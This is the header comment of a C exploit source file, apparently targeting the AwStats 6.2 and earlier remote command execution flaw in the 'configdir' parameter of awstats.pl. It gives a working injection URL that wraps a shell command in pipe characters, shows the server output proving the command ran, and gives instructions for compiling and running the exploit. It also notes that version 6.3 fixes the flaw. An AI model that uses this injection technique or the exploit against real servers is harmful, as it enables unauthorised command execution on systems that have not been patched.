/*
AwStats exploit by Thunder, molnar_rcs@yahoo.com
This exploit makes use of the remote command execution bug discovered in
AwStats ver 6.2 and below. The bug resides in the awstats.pl perl script.
The script does not sanitise correctly the user input for the
`configdir` parameter. If the users sends a command prefixed and postfixed
with | , the command will be executed. An example would be:
Let's execute '/usr/bin/w':
>
http://localhost/cgi-bin/awstats.pl?configdir=%20|%20/usr/bin/w%20|%20
<
Awstat output:
>
Error: LogFile parameter is not defined in config/domain file
Setup (' | /usr/bin/w | /awstats.localhost.conf' file, web server or permissions) may be wrong.
Check config file, permissions and AWStats documentation (in 'docs' directory).
<
That's it. Our command was executed.
This bug is fixed in AwStats ver 6.3 and a patch was released for all versions, but vulnerable
AwStat is still available for download on several sites (ex. www.topshareware.com).
Type `gcc awexpl.c - o awexpl` to compile the exploit and `./awexpl -u` for usage.
Note:
Just indexing the commands with | will not always work, or might not work at all. I checked
it on my own awstats 6.0 install, and it failed. So, whoever tried the same on his own
script and was surprised to see that (although the version he uses is said to be prone to the
remote command execution bug) nothing happened, should patch or upgrade to Awstat 6.3 asap.
As far as i know all unpached versions prior to 6.3 are vulnerable and commands prefixed and
postfixed by a | character WILL be executed. Beware!
Oh, I almost forgot, the disclaimer :)
